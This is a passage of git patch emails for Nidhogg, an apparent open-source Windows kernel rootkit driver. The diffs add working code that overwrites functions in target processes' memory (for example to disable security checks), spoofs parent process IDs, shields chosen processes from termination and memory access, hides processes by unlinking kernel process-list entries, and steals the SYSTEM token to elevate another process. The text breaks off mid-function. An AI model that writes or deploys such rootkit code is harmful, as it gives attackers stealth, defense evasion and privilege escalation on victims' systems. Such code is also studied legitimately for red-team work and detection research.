b/Nidhogg/Nidhogg.cpp @@ -771,7 +771,7 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) { status = STATUS_INVALID_PARAMETER; break; } - status = PatchModule(*data); + status = PatchModule(data); if (status == STATUS_SUCCESS) { auto prevIrql = KeGetCurrentIrql(); diff --git a/Nidhogg/NidhoggHelperFunctions.hpp b/Nidhogg/NidhoggHelperFunctions.hpp index 56504a3..15e8c39 100644 --- a/Nidhogg/NidhoggHelperFunctions.hpp +++ b/Nidhogg/NidhoggHelperFunctions.hpp @@ -1,5 +1,6 @@ #pragma once #include "pch.h" +#include /* * Description: From 9bc929da1fce0199065590a89a8ffdf3bc8a8f6f Mon Sep 17 00:00:00 2001 From: Ido Veltzman <62358580+Idov31@users.noreply.github.com> Date: Fri, 14 Oct 2022 15:47:21 +0300 Subject: [PATCH 06/10] Added proper exception handling --- Nidhogg/RegistryUtils.hpp | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/Nidhogg/RegistryUtils.hpp b/Nidhogg/RegistryUtils.hpp index 1c8a000..e64bd1a 100644 --- a/Nidhogg/RegistryUtils.hpp +++ b/Nidhogg/RegistryUtils.hpp @@ -430,7 +430,9 @@ NTSTATUS RegNtPostEnumerateKeyHandler(REG_POST_OPERATION_INFORMATION* info) { __try { RtlCopyMemory(preInfo->KeyInformation, tempKeyInformation, resultLength); } - __except (EXCEPTION_EXECUTE_HANDLER) {} + __except (EXCEPTION_EXECUTE_HANDLER) { + KdPrint((DRIVER_PREFIX "Failed to copy the next key data, 0x%x", GetExceptionCode())); + } copyKeyInformationData = false; } @@ -542,7 +544,9 @@ NTSTATUS RegNtPostEnumerateValueKeyHandler(REG_POST_OPERATION_INFORMATION* info) __try { RtlCopyMemory(preInfo->KeyValueInformation, tempValueInformation, resultLength); } - __except (EXCEPTION_EXECUTE_HANDLER) {} + __except (EXCEPTION_EXECUTE_HANDLER) { + KdPrint((DRIVER_PREFIX "Failed to copy the next value data, 0x%x", GetExceptionCode())); + } copyKeyInformationData = false; continue; From 3d4ef94cc331dabc18674a6b690ae79b049f8bd6 Mon Sep 17 00:00:00 2001 From: Ido Veltzman <62358580+Idov31@users.noreply.github.com> Date: Sun, 16 Oct 2022 17:28:01 +0300 Subject: [PATCH 07/10] Function patching works --- Nidhogg/ModuleUtils.hpp | 120 +++++++++++++++++++++------------------- 1 file changed, 62 insertions(+), 58 deletions(-) diff --git a/Nidhogg/ModuleUtils.hpp b/Nidhogg/ModuleUtils.hpp index 7a23373..b7956b2 100644 --- a/Nidhogg/ModuleUtils.hpp +++ b/Nidhogg/ModuleUtils.hpp @@ -14,19 +14,21 @@ NTSTATUS PatchModule(PatchedModule* ModuleToPatch) { HANDLE hTargetProcess; PEPROCESS TargetProcess; - PEPROCESS CurrentProcess; ULONG oldProtection; KAPC_STATE state; - + SIZE_T written; + + PVOID functionAddress = NULL; PVOID moduleImageBase = NULL; NTSTATUS status = STATUS_UNSUCCESSFUL; - bool success = true; LARGE_INTEGER time = { 0 }; time.QuadPart = -100ll * 10 * 1000; // Validate that the required functions are loaded correctly. - if (!dimGlobals.ZwProtectVirtualMemory || !dimGlobals.MmCopyVirtualMemory) + if (!dimGlobals.ZwProtectVirtualMemory || !dimGlobals.MmCopyVirtualMemory) { + KdPrint((DRIVER_PREFIX "Failed to get critical functions.\n")); return status; + } // Copying the values to local variables before they are unaccesible because of KeStackAttachProcess. WCHAR* moduleName = (WCHAR*)ExAllocatePool(PagedPool, (wcslen(ModuleToPatch->ModuleName) + 1) * sizeof(WCHAR)); @@ -34,7 +36,7 @@ NTSTATUS PatchModule(PatchedModule* ModuleToPatch) { if (!moduleName) return status; memcpy(moduleName, ModuleToPatch->ModuleName, (wcslen(ModuleToPatch->ModuleName) + 1) * sizeof(WCHAR)); - + CHAR* functionName = (CHAR*)ExAllocatePool(PagedPool, strlen(ModuleToPatch->FunctionName) + 1); if (!functionName) { @@ -43,24 +45,19 @@ NTSTATUS PatchModule(PatchedModule* ModuleToPatch) { } memcpy(functionName, ModuleToPatch->FunctionName, strlen(ModuleToPatch->FunctionName) + 1); - CHAR* patch = (CHAR*)ExAllocatePool(PagedPool, strlen(ModuleToPatch->Patch)); - - if (!patch) { + if (PsLookupProcessByProcessId((HANDLE)ModuleToPatch->Pid, &TargetProcess) != STATUS_SUCCESS) { ExFreePool(functionName); ExFreePool(moduleName); return status; } - memcpy(functionName, ModuleToPatch->FunctionName, strlen(ModuleToPatch->Patch)); // Getting the PEB. - if (PsLookupProcessByProcessId((HANDLE)ModuleToPatch->Pid, &TargetProcess) != STATUS_SUCCESS) - return status; - KeStackAttachProcess(TargetProcess, &state); PREALPEB targetPeb = (PREALPEB)dimGlobals.PsGetProcessPeb(TargetProcess); if (!targetPeb) { KdPrint((DRIVER_PREFIX "Failed to get PEB.\n")); + KeUnstackDetachProcess(&state); goto CleanUp; } @@ -71,6 +68,7 @@ NTSTATUS PatchModule(PatchedModule* ModuleToPatch) { if (!targetPeb->LoaderData) { KdPrint((DRIVER_PREFIX "Failed to get LDR.\n")); + KeUnstackDetachProcess(&state); goto CleanUp; } @@ -89,6 +87,7 @@ NTSTATUS PatchModule(PatchedModule* ModuleToPatch) { if (!moduleImageBase) { KdPrint((DRIVER_PREFIX "Failed to get image base.\n")); + KeUnstackDetachProcess(&state); goto CleanUp; } @@ -96,18 +95,24 @@ NTSTATUS PatchModule(PatchedModule* ModuleToPatch) { PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleImageBase; // Checking that the image is valid PE file. - if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) + if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) { + KeUnstackDetachProcess(&state); goto CleanUp; + } PFULL_IMAGE_NT_HEADERS ntHeaders = (PFULL_IMAGE_NT_HEADERS)((PUCHAR)moduleImageBase + dosHeader->e_lfanew); - if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) + if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) { + KeUnstackDetachProcess(&state); goto CleanUp; + } IMAGE_OPTIONAL_HEADER optionalHeader = ntHeaders->OptionalHeader; - if (optionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0) + if (optionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0) { + KeUnstackDetachProcess(&state); goto CleanUp; + } // Iterating the export directory. PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PUCHAR)moduleImageBase + optionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); @@ -118,56 +123,55 @@ NTSTATUS PatchModule(PatchedModule* ModuleToPatch) { for (DWORD j = 0; j < exportDirectory->NumberOfNames; j++) { if (_stricmp((char*)((PUCHAR)moduleImageBase + names[j]), functionName) == 0) { - if (ObOpenObjectByPointer(TargetProcess, OBJ_KERNEL_HANDLE, NULL, PROCESS_ALL_ACCESS, *PsProcessType, KernelMode, &hTargetProcess) != STATUS_SUCCESS) { - KdPrint((DRIVER_PREFIX "Failed to get process to handle.\n")); - success = false; - break; - } - - // auto patchLen = strlen(patch); - SIZE_T patchLen = 6; - auto functionAddress = (PVOID)((PUCHAR)moduleImageBase + addresses[ordinals[j]]); - - // Adding write permissions. - status = dimGlobals.ZwProtectVirtualMemory(hTargetProcess, &functionAddress, &patchLen, PAGE_EXECUTE_READWRITE, &oldProtection); - - if (status != STATUS_SUCCESS) { - KdPrint((DRIVER_PREFIX "Failed to change protection, (0x%08X).\n", status)); - ZwClose(hTargetProcess); - success = false; - break; - } - - // Patching the function. - SIZE_T written; - - // status = dimGlobals.MmCopyVirtualMemory(PsGetCurrentProcess(), pmGlobals.ModulesList.Modules[i].Patch, Process, functionAddress, patchLen, KernelMode, &written); - char testPatch[6] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; - status = dimGlobals.MmCopyVirtualMemory(PsGetCurrentProcess(), testPatch, TargetProcess, functionAddress, 6, KernelMode, &written); - - if (status != STATUS_SUCCESS) { - KdPrint((DRIVER_PREFIX "MmCopyVirtualMemory failed status, (0x%08X).\n", status)); - success = false; - } - else - KdPrint((DRIVER_PREFIX "Patched function #5.\n")); - - // Restoring permissions and cleaning up. - dimGlobals.ZwProtectVirtualMemory(hTargetProcess, &functionAddress, &patchLen, oldProtection, &oldProtection); - - ZwClose(hTargetProcess); - KdPrint((DRIVER_PREFIX "Cleaned up #6.\n")); + functionAddress = (PUCHAR)moduleImageBase + addresses[ordinals[j]]; break; } } - if (success) - status = STATUS_SUCCESS; -CleanUp: + if (!functionAddress) { + KdPrint((DRIVER_PREFIX "Failed to get function's address.\n")); + KeUnstackDetachProcess(&state); + goto CleanUp; + } KeUnstackDetachProcess(&state); + + // Adding write permissions. + if (ObOpenObjectByPointer(TargetProcess, OBJ_KERNEL_HANDLE, NULL, PROCESS_ALL_ACCESS, *PsProcessType, UserMode, &hTargetProcess) != STATUS_SUCCESS) { + KdPrint((DRIVER_PREFIX "Failed to get process to handle.\n")); + goto CleanUp; + } + + SIZE_T patchLen = (SIZE_T)ModuleToPatch->PatchLength; + PVOID functionAddressToProtect = functionAddress; + KdPrint((DRIVER_PREFIX "functionAddressToProtect is %p functionAddress is %p.\n", functionAddressToProtect, functionAddress)); + status = dimGlobals.ZwProtectVirtualMemory(hTargetProcess, &functionAddressToProtect, &patchLen, PAGE_EXECUTE_READWRITE, &oldProtection); + + if (status != STATUS_SUCCESS) { + KdPrint((DRIVER_PREFIX "Failed to change protection, (0x%08X).\n", status)); + ZwClose(hTargetProcess); + goto CleanUp; + } + ZwClose(hTargetProcess); + KdPrint((DRIVER_PREFIX "functionAddressToProtect is %p functionAddress is %p.\n", functionAddressToProtect, functionAddress)); + + // Patching the function. + patchLen = (SIZE_T)ModuleToPatch->PatchLength; + + status = dimGlobals.MmCopyVirtualMemory(PsGetCurrentProcess(), ModuleToPatch->Patch, TargetProcess, functionAddress, patchLen, KernelMode, &written); + + if (status != STATUS_SUCCESS) + KdPrint((DRIVER_PREFIX "MmCopyVirtualMemory failed status, (0x%08X).\n", status)); + + // Restoring permissions and cleaning up. + if (ObOpenObjectByPointer(TargetProcess, OBJ_KERNEL_HANDLE, NULL, PROCESS_ALL_ACCESS, *PsProcessType, UserMode, &hTargetProcess) == STATUS_SUCCESS) { + dimGlobals.ZwProtectVirtualMemory(hTargetProcess, &functionAddressToProtect, &patchLen, oldProtection, &oldProtection); + ZwClose(hTargetProcess); + KdPrint((DRIVER_PREFIX "Everything is OK.\n")); + } + +CleanUp: ExFreePool(moduleName); ExFreePool(functionName); - ExFreePool(patch); ObDereferenceObject(TargetProcess); return status; } From 0dd5db452f6fe15b9b9afa59f0176d48720eb5e5 Mon Sep 17 00:00:00 2001 From: Ido Veltzman <62358580+Idov31@users.noreply.github.com> Date: Sun, 16 Oct 2022 17:28:11 +0300 Subject: [PATCH 08/10] Function patching works --- Nidhogg/ModuleUtils.hpp | 3 --- 1 file changed, 3 deletions(-) diff --git a/Nidhogg/ModuleUtils.hpp b/Nidhogg/ModuleUtils.hpp index b7956b2..861cd66 100644 --- a/Nidhogg/ModuleUtils.hpp +++ b/Nidhogg/ModuleUtils.hpp @@ -143,7 +143,6 @@ NTSTATUS PatchModule(PatchedModule* ModuleToPatch) { SIZE_T patchLen = (SIZE_T)ModuleToPatch->PatchLength; PVOID functionAddressToProtect = functionAddress; - KdPrint((DRIVER_PREFIX "functionAddressToProtect is %p functionAddress is %p.\n", functionAddressToProtect, functionAddress)); status = dimGlobals.ZwProtectVirtualMemory(hTargetProcess, &functionAddressToProtect, &patchLen, PAGE_EXECUTE_READWRITE, &oldProtection); if (status != STATUS_SUCCESS) { @@ -152,7 +151,6 @@ NTSTATUS PatchModule(PatchedModule* ModuleToPatch) { goto CleanUp; } ZwClose(hTargetProcess); - KdPrint((DRIVER_PREFIX "functionAddressToProtect is %p functionAddress is %p.\n", functionAddressToProtect, functionAddress)); // Patching the function. patchLen = (SIZE_T)ModuleToPatch->PatchLength; @@ -166,7 +164,6 @@ NTSTATUS PatchModule(PatchedModule* ModuleToPatch) { if (ObOpenObjectByPointer(TargetProcess, OBJ_KERNEL_HANDLE, NULL, PROCESS_ALL_ACCESS, *PsProcessType, UserMode, &hTargetProcess) == STATUS_SUCCESS) { dimGlobals.ZwProtectVirtualMemory(hTargetProcess, &functionAddressToProtect, &patchLen, oldProtection, &oldProtection); ZwClose(hTargetProcess); - KdPrint((DRIVER_PREFIX "Everything is OK.\n")); } CleanUp: From 39effc7e2254ad12b9fbcb18deb3f4fb6b9cc3fc Mon Sep 17 00:00:00 2001 From: Ido Veltzman <62358580+Idov31@users.noreply.github.com> Date: Sun, 16 Oct 2022 17:28:36 +0300 Subject: [PATCH 09/10] PPID Spoofing initial --- Nidhogg/Nidhogg.cpp | 102 ++++++++---- Nidhogg/Nidhogg.h | 32 +++- Nidhogg/ProcessUtils.hpp | 347 +++++++++++++++++++++++---------------- 3 files changed, 306 insertions(+), 175 deletions(-) diff --git a/Nidhogg/Nidhogg.cpp b/Nidhogg/Nidhogg.cpp index 8bd5d96..3ddccac 100644 --- a/Nidhogg/Nidhogg.cpp +++ b/Nidhogg/Nidhogg.cpp @@ -92,6 +92,22 @@ NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING) { return status; } + status = PsSetCreateProcessNotifyRoutineEx(OnProcessNotify, FALSE); + + if (!NT_SUCCESS(status)) { + KdPrint((DRIVER_PREFIX "failed to register create process callback: (0x%08X)\n", status)); + + status = CmUnRegisterCallback(rGlobals.RegCookie); + + if (registrationHandle) { + ObUnRegisterCallbacks(registrationHandle); + registrationHandle = NULL; + } + IoDeleteSymbolicLink(&symbolicLink); + IoDeleteDevice(DeviceObject); + return status; + } + // Setting up functions. DriverObject->DriverUnload = NidhoggUnload; DriverObject->MajorFunction[IRP_MJ_CREATE] = DriverObject->MajorFunction[IRP_MJ_CLOSE] = NidhoggCreateClose; @@ -114,14 +130,16 @@ NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING) { void NidhoggUnload(PDRIVER_OBJECT DriverObject) { KdPrint((DRIVER_PREFIX "Unloading...\n")); - NTSTATUS status = CmUnRegisterCallback(rGlobals.RegCookie); + NTSTATUS status = PsSetCreateProcessNotifyRoutineEx(OnProcessNotify, TRUE); if (!NT_SUCCESS(status)) { - KdPrint((DRIVER_PREFIX "failed to unregister registry callbacks: (0x%08X)\n", status)); + KdPrint((DRIVER_PREFIX "failed to unregister create process callback: (0x%08X)\n", status)); } + status = CmUnRegisterCallback(rGlobals.RegCookie); + if (!NT_SUCCESS(status)) { - KdPrint((DRIVER_PREFIX "failed to unregister image load callback: (0x%08X)\n", status)); + KdPrint((DRIVER_PREFIX "failed to unregister registry callbacks: (0x%08X)\n", status)); } ClearAll(); @@ -196,35 +214,46 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) { { auto size = stack->Parameters.DeviceIoControl.InputBufferLength; - if (size % sizeof(ULONG) != 0) { + if (size % sizeof(Process) != 0) { status = STATUS_INVALID_BUFFER_SIZE; break; } - auto data = (ULONG*)Irp->AssociatedIrp.SystemBuffer; + auto data = (Process*)Irp->AssociatedIrp.SystemBuffer; - if (data == 0) { + if (data == nullptr) { + status = STATUS_INVALID_PARAMETER; + break; + } + + if ((data->type != PROCESS_TYPE_PROTECTED && data->type != PROCESS_TYPE_SPOOFED) || + (data->type == PROCESS_TYPE_PROTECTED && data->ProcessPid <= 0) || + (data->type == PROCESS_TYPE_SPOOFED && data->ProcessPid <= 0 && data->SpoofedPid <= 0)) { status = STATUS_INVALID_PARAMETER; break; } AutoLock locker(pGlobals.Lock); - if (FindProcess(*data)) + if (FindProcess(data) != PROCESS_NOT_FOUND) break; - if (pGlobals.Processes.PidsCount == MAX_PIDS) { + if (pGlobals.ProtectedProcesses.PidsCount == MAX_PIDS) { status = STATUS_TOO_MANY_CONTEXT_IDS; break; } - if (!AddProcess(*data)) { + if (!AddProcess(data)) { status = STATUS_UNSUCCESSFUL; break; } - KdPrint((DRIVER_PREFIX "Protecting process with pid %d.\n", *data)); - len += sizeof(ULONG); + if (data->type == PROCESS_TYPE_PROTECTED) + KdPrint((DRIVER_PREFIX "Protecting process with pid %d.\n", data->ProcessPid)); + else + KdPrint((DRIVER_PREFIX "Spoofing child processes of %d.\n", data->ProcessPid)); + + len += sizeof(Process); break; } @@ -232,32 +261,43 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) { case IOCTL_NIDHOGG_UNPROTECT_PROCESS: { auto size = stack->Parameters.DeviceIoControl.InputBufferLength; - if (size % sizeof(ULONG) != 0) { + + if (size % sizeof(Process) != 0) { status = STATUS_INVALID_BUFFER_SIZE; break; } - auto data = (ULONG*)Irp->AssociatedIrp.SystemBuffer; + auto data = (Process*)Irp->AssociatedIrp.SystemBuffer; - if (data == 0) { + if (data == nullptr) { + status = STATUS_INVALID_PARAMETER; + break; + } + + if ((data->type != PROCESS_TYPE_PROTECTED && data->type != PROCESS_TYPE_SPOOFED) || + (data->type == PROCESS_TYPE_PROTECTED && data->ProcessPid <= 0) || + (data->type == PROCESS_TYPE_SPOOFED && data->ProcessPid <= 0 && data->SpoofedPid <= 0)) { status = STATUS_INVALID_PARAMETER; break; } AutoLock locker(pGlobals.Lock); - if (pGlobals.Processes.PidsCount == 0) { + if (pGlobals.ProtectedProcesses.PidsCount == 0) { status = STATUS_NOT_FOUND; break; } - if (!RemoveProcess(*data)) { + if (!RemoveProcess(data)) { status = STATUS_NOT_FOUND; break; } - KdPrint((DRIVER_PREFIX "Unprotecting process with pid %d.\n", *data)); - len += sizeof(ULONG); + if (data->type == PROCESS_TYPE_PROTECTED) + KdPrint((DRIVER_PREFIX "Unprotecting process with pid %d.\n", data->ProcessPid)); + else + KdPrint((DRIVER_PREFIX "Unspoofing child processes of %d.\n", data->ProcessPid)); + len += sizeof(Process); break; } @@ -265,8 +305,8 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) { case IOCTL_NIDHOGG_CLEAR_PROCESS_PROTECTION: { AutoLock locker(pGlobals.Lock); - memset(&pGlobals.Processes.Pids, 0, sizeof(pGlobals.Processes.Pids)); - pGlobals.Processes.PidsCount = 0; + memset(&pGlobals.ProtectedProcesses.Processes, 0, sizeof(pGlobals.ProtectedProcesses.Processes)); + pGlobals.ProtectedProcesses.PidsCount = 0; break; } @@ -319,7 +359,7 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) { break; } - case IOCTL_NIDHOGG_QUERY_PROCESSES: + case IOCTL_NIDHOGG_QUERY_PROTECTED_PROCESSES: { auto size = stack->Parameters.DeviceIoControl.InputBufferLength; @@ -331,10 +371,10 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) { auto data = (ProcessesList*)Irp->AssociatedIrp.SystemBuffer; AutoLock locker(pGlobals.Lock); - data->PidsCount = pGlobals.Processes.PidsCount; + data->PidsCount = pGlobals.ProtectedProcesses.PidsCount; - for (int i = 0; i < pGlobals.Processes.PidsCount; i++) { - data->Pids[i] = pGlobals.Processes.Pids[i]; + for (int i = 0; i < pGlobals.ProtectedProcesses.PidsCount; i++) { + data->Processes[i] = pGlobals.ProtectedProcesses.Processes[i]; } len += sizeof(ProcessesList); @@ -765,12 +805,13 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) { auto data = (PatchedModule*)Irp->AssociatedIrp.SystemBuffer; - if (strlen((*data).FunctionName) == 0 || wcslen((*data).ModuleName) == 0 || strlen((*data).Patch) == 0 || - data->Pid <= 0 || data->Pid == SYSTEM_PROCESS_PID) { - KdPrint((DRIVER_PREFIX "Buffer is empty.\n")); + if (!data->FunctionName || !data->ModuleName || !data->Patch || + data->Pid <= 0 || data->Pid == SYSTEM_PROCESS_PID || data->PatchLength <= 0) { + KdPrint((DRIVER_PREFIX "Buffer is invalid.\n")); status = STATUS_INVALID_PARAMETER; break; } + status = PatchModule(data); if (status == STATUS_SUCCESS) { @@ -780,6 +821,7 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) { KeRaiseIrql(prevIrql, &prevIrql); } + len += sizeof(PatchedModule); break; } @@ -808,8 +850,10 @@ void ClearAll() { // Clearing the process array. AutoLock processLocker(pGlobals.Lock); - memset(&pGlobals.Processes.Pids, 0, sizeof(pGlobals.Processes.Pids)); - pGlobals.Processes.PidsCount = 0; + memset(&pGlobals.ProtectedProcesses.Processes, 0, sizeof(pGlobals.ProtectedProcesses.Processes)); + memset(&pGlobals.SpoofedProcesses.Processes, 0, sizeof(pGlobals.SpoofedProcesses.Processes)); + pGlobals.SpoofedProcesses.PidsCount = 0; + pGlobals.ProtectedProcesses.PidsCount = 0; // Clearing the files array. AutoLock filesLocker(fGlobals.Lock); diff --git a/Nidhogg/Nidhogg.h b/Nidhogg/Nidhogg.h index e2c3771..899a3c5 100644 --- a/Nidhogg/Nidhogg.h +++ b/Nidhogg/Nidhogg.h @@ -17,7 +17,7 @@ #define IOCTL_NIDHOGG_CLEAR_PROCESS_PROTECTION CTL_CODE(0x8000, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_NIDHOGG_HIDE_PROCESS CTL_CODE(0x8000, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_NIDHOGG_ELEVATE_PROCESS CTL_CODE(0x8000, 0x804, METHOD_BUFFERED, FILE_ANY_ACCESS) -#define IOCTL_NIDHOGG_QUERY_PROCESSES CTL_CODE(0x8000, 0x805, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_NIDHOGG_QUERY_PROTECTED_PROCESSES CTL_CODE(0x8000, 0x805, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_NIDHOGG_PROTECT_FILE CTL_CODE(0x8000, 0x806, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_NIDHOGG_UNPROTECT_FILE CTL_CODE(0x8000, 0x807, METHOD_BUFFERED, FILE_ANY_ACCESS) @@ -53,6 +53,7 @@ typedef PPEB(NTAPI* tPsGetProcessPeb)(PEPROCESS Process); // Globals. PVOID registrationHandle = NULL; +// --- ModuleUtils structs ---------------------------------------------------- struct DynamicImportedModulesGlobal { tZwProtectVirtualMemory ZwProtectVirtualMemory; tMmCopyVirtualMemory MmCopyVirtualMemory; @@ -72,27 +73,45 @@ DynamicImportedModulesGlobal dimGlobals; struct PatchedModule { ULONG Pid; - CHAR* Patch; + PVOID Patch; + ULONG PatchLength; CHAR* FunctionName; WCHAR* ModuleName; }; +// ---------------------------------------------------------------------------- + +// --- ProcessUtils structs --------------------------------------------------- +struct Process { + int type; + ULONG ProcessPid; + ULONG SpoofedPid; +}; + +struct SpoofedProcessesList { + int PidsCount; + Process* Processes[MAX_PIDS]; +}; struct ProcessesList { int PidsCount; - ULONG Pids[MAX_PIDS]; + ULONG Processes[MAX_PIDS]; }; struct ProcessGlobals { - ProcessesList Processes; + ProcessesList ProtectedProcesses; + SpoofedProcessesList SpoofedProcesses; FastMutex Lock; void Init() { - Processes.PidsCount = 0; + ProtectedProcesses.PidsCount = 0; + SpoofedProcesses.PidsCount = 0; Lock.Init(); } }; ProcessGlobals pGlobals; +// ---------------------------------------------------------------------------- +// --- FilesUtils structs ----------------------------------------------------- struct FileItem { int FileIndex; WCHAR FilePath[MAX_PATH]; @@ -113,7 +132,9 @@ struct FileGlobals { } }; FileGlobals fGlobals; +// ---------------------------------------------------------------------------- +// --- RegistryUtils structs -------------------------------------------------- struct RegItem { int RegItemsIndex; ULONG Type; @@ -152,3 +173,4 @@ struct RegistryGlobals { } }; RegistryGlobals rGlobals; +// ---------------------------------------------------------------------------- diff --git a/Nidhogg/ProcessUtils.hpp b/Nidhogg/ProcessUtils.hpp index 0c70882..76fae9a 100644 --- a/Nidhogg/ProcessUtils.hpp +++ b/Nidhogg/ProcessUtils.hpp @@ -8,93 +8,245 @@ #define PROCESS_VM_READ 0x10 #define PROCESS_VM_OPERATION 8 +#define PROCESS_TYPE_PROTECTED 0 +#define PROCESS_TYPE_SPOOFED 1 + +#define PROCESS_NOT_FOUND -1 + +int FindProcess(Process* process); +bool AddProcess(Process* process); +bool RemoveProcess(Process* process); +ULONG GetActiveProcessLinksOffset(); +void RemoveProcessLinks(PLIST_ENTRY current); +UINT64 GetTokenOffset(); + /* * Description: -* FindProcess is responsible for searching if a process exists in the list of protected processes. +* OnPreOpenProcess is responsible for handling process access operations and remove certain permissions from protected processes. * * Parameters: -* @pid [ULONG] -- PID to search. +* @RegistrationContext [PVOID] -- Unused. +* @Info [POB_PRE_OPERATION_INFORMATION] -- Contains important information such as process name, handle to the process, process type, etc. * * Returns: -* @status [bool] -- Whether found or not. +* @status [NTSTATUS] -- Always OB_PREOP_SUCCESS. */ -bool FindProcess(ULONG pid) { - for (int i = 0; i < pGlobals.Processes.PidsCount; i++) - if (pGlobals.Processes.Pids[i] == pid) - return true; - return false; +OB_PREOP_CALLBACK_STATUS OnPreOpenProcess(PVOID /* RegistrationContext */, POB_PRE_OPERATION_INFORMATION Info) { + Process process; + if (Info->KernelHandle) + return OB_PREOP_SUCCESS; + + auto Process = (PEPROCESS)Info->Object; + auto pid = HandleToULong(PsGetProcessId(Process)); + + process.ProcessPid = pid; + process.type = PROCESS_TYPE_PROTECTED; + + AutoLock locker(pGlobals.Lock); + + // If the process was found on the list, remove permissions for dump / write process memory and kill the process. + if (FindProcess(&process) != PROCESS_NOT_FOUND) { + Info->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_VM_OPERATION; + Info->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_VM_READ; + Info->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_CREATE_THREAD; + Info->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_DUP_HANDLE; + Info->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_TERMINATE; + } + + return OB_PREOP_SUCCESS; +} + +void OnProcessNotify(PEPROCESS LoadedProcess, HANDLE ProcessId, PPS_CREATE_NOTIFY_INFO CreateInfo) { + UNREFERENCED_PARAMETER(LoadedProcess); + + int index; + Process process; + + if (CreateInfo) { + process.ProcessPid = (ULONG)ProcessId; + process.SpoofedPid = (ULONG)CreateInfo->ParentProcessId; + process.type = PROCESS_TYPE_SPOOFED; + + index = FindProcess(&process); + + if (index != PROCESS_NOT_FOUND) { + CreateInfo->ParentProcessId = (HANDLE)pGlobals.SpoofedProcesses.Processes[index]->SpoofedPid; + KdPrint((DRIVER_PREFIX "Spoofed PID for %d.\n", (ULONG)ProcessId)); + } + } } /* * Description: -* AddProcess is responsible for adding a process to the list of protected processes. +* HideProcess is responsible for hiding a process by modifying the process list. * * Parameters: -* @pid [ULONG] -- PID to add. +* @pid [ULONG] -- PID to hide. * * Returns: -* @status [bool] -- Whether successfully added or not. +* @status [NTSTATUS] -- Whether successfully hidden or not. */ -bool AddProcess(ULONG pid) { - for (int i = 0; i < MAX_PIDS; i++) - if (pGlobals.Processes.Pids[i] == 0) { - pGlobals.Processes.Pids[i] = pid; - pGlobals.Processes.PidsCount++; - return true; +NTSTATUS HideProcess(ULONG pid) { + // Getting the offset depending on the OS version. + ULONG pidOffset = GetActiveProcessLinksOffset(); + + if (pidOffset == STATUS_UNSUCCESSFUL) { + return STATUS_UNSUCCESSFUL; + } + ULONG listOffset = pidOffset + sizeof(INT_PTR); + + // Enumerating the EPROCESSes and finding the target pid. + PEPROCESS currentEProcess = PsGetCurrentProcess(); + PLIST_ENTRY currentList = (PLIST_ENTRY)((ULONG_PTR)currentEProcess + listOffset); + PUINT32 currentPid = (PUINT32)((ULONG_PTR)currentEProcess + pidOffset); + + if (*(UINT32*)currentPid == pid) { + RemoveProcessLinks(currentList); + return STATUS_SUCCESS; + } + + PEPROCESS StartProcess = currentEProcess; + + currentEProcess = (PEPROCESS)((ULONG_PTR)currentList->Flink - listOffset); + currentPid = (PUINT32)((ULONG_PTR)currentEProcess + pidOffset); + currentList = (PLIST_ENTRY)((ULONG_PTR)currentEProcess + listOffset); + + while ((ULONG_PTR)StartProcess != (ULONG_PTR)currentEProcess) + { + if (*(UINT32*)currentPid == pid) { + RemoveProcessLinks(currentList); + return STATUS_SUCCESS; } - return false; + + currentEProcess = (PEPROCESS)((ULONG_PTR)currentList->Flink - listOffset); + currentPid = (PUINT32)((ULONG_PTR)currentEProcess + pidOffset); + currentList = (PLIST_ENTRY)((ULONG_PTR)currentEProcess + listOffset); + } + + return STATUS_SUCCESS; } /* * Description: -* RemoveProcess is responsible for remove a process from the list of protected processes. +* ElevateProcess is responsible for stealing a token from the SYSTEM process and giving it to other process. * * Parameters: -* @pid [ULONG] -- PID to remove. +* @pid [ULONG] -- PID to elevate. * * Returns: -* @status [bool] -- Whether successfully removed or not. +* @status [NTSTATUS] -- Whether successfully elevated or not. */ -bool RemoveProcess(ULONG pid) { - for (int i = 0; i < pGlobals.Processes.PidsCount; i++) - if (pGlobals.Processes.Pids[i] == pid) { - pGlobals.Processes.Pids[i] = 0; - pGlobals.Processes.PidsCount--; - return true; - } - return false; +NTSTATUS ElevateProcess(ULONG targetPid) { + PEPROCESS privilegedProcess, targetProcess; + NTSTATUS status = STATUS_SUCCESS; + + // Getting the EProcess of the target and the privileged processes. + status = PsLookupProcessByProcessId(ULongToHandle(targetPid), &targetProcess); + UINT64 tokenOffset = GetTokenOffset(); + + if 